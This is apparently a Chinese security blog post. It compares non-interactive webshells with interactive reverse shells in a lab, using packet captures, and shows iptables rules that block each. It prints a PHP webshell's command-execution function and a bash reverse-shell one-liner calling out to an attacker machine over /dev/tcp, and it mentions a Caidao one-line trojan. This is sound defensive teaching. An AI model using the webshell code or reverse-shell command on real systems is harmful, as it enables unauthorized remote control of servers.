webshell与反弹shell的区别与防御

一、 什么是交互式shell、非交互式shell?

对linux服务器的渗透测试过程中,我们在getshell得到一个低权限的webshell后,由于webshell是非交互式shell,通常要反弹一个交互式的shell,然后进一步进行提权。那么,什么是交互式shell和非交互式shell呢,他们又是如何与靶机进行通信的呢?相信网络上的文章大家也看到很多,今天我们不说理论,先以一个抓包实验来验证一下。
实验环境:
攻击机1:win10 192.168.253.128
攻击机2:kali2020 192.168.253.168
靶机:centos6.9 192.168.253.150
实验原理:
我们在靶机上事先准备一个可以执行命令的大马lin.php,然后分别使用webshell和反弹shell对靶机进行控制,执行whoami命令,我们将两过程抓包进行比较。
1、首先,在win10浏览器登录大马,执行whoami命令,得到返回结果如下
在这里插入图片描述

在靶机centos6.9抓包如下:
在这里插入图片描述
可以看到,这个过程是由一组http请求和响应完成的,我们可以右键Follow TCP Stream查看http报文内容如下。
在这里插入图片描述
我们清楚了whoami这条命令的在两台主机之间的传输过程,那么whoami命令又是如何在靶机运行的呢?我们可以看下大马命令执行的部分源码:

function Exec_Run($cmd)
{       
        $res = '';
        if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
        elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} 
        elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
        elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
        elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
        return $res;
}

由上我们可知,上面过程实际是使用php的一些函数如exec、shell_exec、system、passthru实现了whoami命令在系统上的执行,我们可以将上述过程总结为一张图:
在这里插入图片描述

这种模式下,webshell(http://192.168.253.150/lin.php)不与用户进行交互,而是自顶向下读取和执行存放在lin.php文件中的语句指令。当它读到文件的结尾,shell也就终止了,这个过程本质上就是一个php页面的执行过程。它也能够证明webshell是一种非交互式的shell。

2、接下来,我们再对反弹shell进行抓包验证,我们在win10浏览器再次登录大马,执行命令如下:
在这里插入图片描述

在攻击机kali2020上使用nc接收到反弹的shell,并执行whoami命令。
在这里插入图片描述

上述过程,在靶机centos6.9使用wireshark抓包。可以看到,在http请求和响应过程后,192.168.253.150(centos6.9)向192.168.253.168(kali)发起了TCP三次握手请求,并握手成功。
在这里插入图片描述
查看第13号报文data字段,可以看到192.168.253.168(kali)向192.168.253.150(centos6.9)发送了"whoami",使用的是TCP协议。
在这里插入图片描述
接着看第19号报文,可以看到192.168.253.150(centos6.9)向192.168.253.168(kali)发送了返回结果"apache"
在这里插入图片描述
此时,我们再在centos6.9上使用netstat -anput命令查看连接状态显示:

[root@localhost ~]# netstat -anput
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 192.168.253.150:47322       192.168.253.168:8888        ESTABLISHED 5009/bash 
...
...

使用pstree -p命令查看进程树

[root@localhost ~]# pstree -p
init(1)─┬─NetworkManager(1617)─┬─dhclient(3876)
        │                      └─{NetworkManager}(1651)
		├─httpd(2081)─┬─httpd(2206)
        │             ├─httpd(2207)───sh(5008)───bash(5009)
        │             ├─httpd(2208)
        │             ├─httpd(2209)
        │             ├─httpd(2210)
        │             ├─httpd(2211)
        │             ├─httpd(2212)
        │             ├─httpd(2213)
        │             ├─httpd(2214)
        │             ├─httpd(3988)
        │             └─httpd(3989)

使用ps -aux查看5008号、5009号进程

[root@localhost ~]# ps -aux
...
apache     5008  0.0  0.0  11344  1172 ?        S    22:41   0:00 sh -c /bin/bash -i >& /dev/tcp/192.168.253.168/8888 
apache     5009  0.0  0.0  11480  1428 ?        S    22:41   0:00 /bin/bash -i
...

如果这个过程,我们不使用win10,直接在kali上浏览器访问,则过程可以总结为下图。这个过程攻击机kali对centos6.9的命令操控,都是nc与pid为5009的bash进程之间通过TCP协议进行的,此过程中反弹的shell也就是一个交互式的shell。
在这里插入图片描述
3、至此,我们可以总结,webshell实际是一种用脚本语言编写形成的非交互式shell,而反弹shell实际是TCP协议传输数据的交互式shell。我们再回到shell的定义看,shell是“壳”,这个“壳”是相对于“核”来说的,这里的核实际上就是操作系统内核。我们从上图也可以看到,webshell实际是通过脚本页面与操作系统进行命令交互,它并没有直接与内核交互,因此称为非交互式shell。而从反弹shell的图片可以看到,其命令直接传输给操作系统内核,从而得到结果,因此也称为交互式shell。

二、iptables对反弹shell的限制

上述反弹shell的实验,我们清楚的看到,反弹shell实际是通过linux的socket技术进行通信的,这个过程都需要建立TCP三次握手,然后在通过固定端口进行通信。对于靶机Centos6.9来说,反弹shell的TCP通信端口为某随机端口,那么我们只需要在iptables的filter表的INPUT或OUTPUT链上随便进行一个限制,让其TCP连接不能成功,即可限制反弹shell。需要注意的是,linux中iptables的默认策略都是ACCEPT,此时防火墙实际是使用黑名单策略,很容易被绕过,这也是很多攻击者经常能够反弹shell成功的原因。
在这里插入图片描述
因此,我们需要将默认策略修改为DROP,即白名单策略。当然,考虑到业务生产需求,服务器centos6.9还可能会有向外连接数据库(类似操作),我们一般可以将OUTPUT链设置为黑名单策略ACCEPT,而只需要在入站规则INPUT链上设置默认规则为DROP,形成入站白名单策略即可。最后,我们通过iptables命令在INPUT链上设置规则,放行我们正常的服务通过即可。以下是我以httpd服务为例设置的规则,使用如下命令放行httpd服务及其相关链接。

iptables -I INPUT -d 192.168.253.150 -p tcp --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

查看iptables的filter表的规则如下

[root@localhost ~]# iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination         
ACCEPT     tcp  --  anywhere             192.168.253.150     tcp dpt:http state NEW,RELATED,ESTABLISHED 
ACCEPT     tcp  --  anywhere             192.168.253.150     tcp dpt:ssh 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination    

此时,由于入站规则INPUT链上只开放了80和22端口,如果反弹shell开启为45678端口,由于出站规则OUTPUT链没有限制,此时反弹shell还可以向攻击机发起TCP三次握手请求,但响应报文SYN+ACK报文由于入站规则INPUT链上并没有开启45678端口,因此反弹shell的TCP连接无法成功建立。我们在centos6.9反弹shell测试结果如下。

[root@localhost ~]# bash -i >& /dev/tcp/192.168.253.168/8888 0>&1
-bash: connect: 连接超时
-bash: /dev/tcp/192.168.253.168/8888: 连接超时

至此,我们就成功通过iptables限制了反弹shell。总结一句话,我们只要严格在防火墙入站规则上配置了白名单策略,攻击者反弹shell时候就遇到很大困难。

三、iptables对webshell的阻断

我们了解了iptables对反弹shell限制原理,那么iptables能不能阻断webshell呢,iptables有那么强大的功能,答案当然是可以的。其中iptables的扩展模块string模块,可以通过一定算法,对通过防火墙的报文进行检验,一旦遇到某些匹配规则的字符串,就可以根据设定动作对报文进行丢弃或放行。这听起来像不像一个IPS设备呢,没错,我们来实验一下便清楚。
实验环境:
攻击机:win10 192.168.253.128
靶机:centos6.9 192.168.253.150
我们在win10上使用菜刀连接centos6.9上事先放好的一句话木马文件caidao.php,连接成功。
在这里插入图片描述
我们清楚,菜刀在与一句话木马通信时,一般会使用eval函数对字符串进行操作,此处我们就不抓包证明了,有兴趣的同学可以自行抓包实验。我们在centos6.9上filter表的INPUT链上插入一条规则如下:

iptables -I INPUT -d 192.168.253.150 -p tcp --dport 80 -m string --algo kmp --string "eval" -j DROP
  • -m string 表示使用string模块
  • –algo kmp 表示使用kmp算法对字符串进行匹配
  • –string “eval” 表示对含有eval字符串的报文匹配,此处可以用正则表达式进行条件匹配。

查看iptables规则如下

[root@localhost ~]# iptables -L
Chain INPUT (policy DROP)
target     prot opt source               destination         
DROP       tcp  --  anywhere             192.168.253.150     tcp dpt:http STRING match "eval" ALGO name kmp TO 65535 
ACCEPT     tcp  --  anywhere             192.168.253.150     tcp dpt:http state NEW,RELATED,ESTABLISHED 
ACCEPT     tcp  --  anywhere             192.168.253.150     tcp dpt:ssh 

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  

此时,我们在win10上再次用菜刀连接一句话木马,已经无法连接。
在这里插入图片描述
我们可以通过iptables -v选项查看各条规则匹配到的报文,可以看到第一条规则确实匹配到了报文,并进行了DROP操作。

[root@localhost ~]# iptables -L -n -v
Chain INPUT (policy DROP 30 packets, 2999 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   16 13134 DROP       tcp  --  *      *       0.0.0.0/0            192.168.253.150     tcp dpt:80 STRING match "eval" ALGO name kmp TO 65535 
   21  3267 ACCEPT     tcp  --  *      *       0.0.0.0/0            192.168.253.150     tcp dpt:80 state NEW,RELATED,ESTABLISHED 
 1112 80384 ACCEPT     tcp  --  *      *       0.0.0.0/0            192.168.253.150     tcp dpt:22 

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 130 packets, 10674 bytes)
 pkts bytes target     prot opt in     out     source               destination   

这个过程像不像IPS对入侵行为的阻断过程呢?我们仅仅通过iptables一个软件防火墙便实现了该功能,可见iptables的强大。iptables虽然很早就出现了,但至今其防火墙技术思想仍然很先进,很值得每个安全从业者仔细品究。当然,iptables毕竟是软件防火墙,其性能还是远远无法和硬件防火墙相比的。我们可以以之为例,学习原理,总结思路,在实战中灵活运用,达到加固服务器主机安全的目的。

  • 15
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值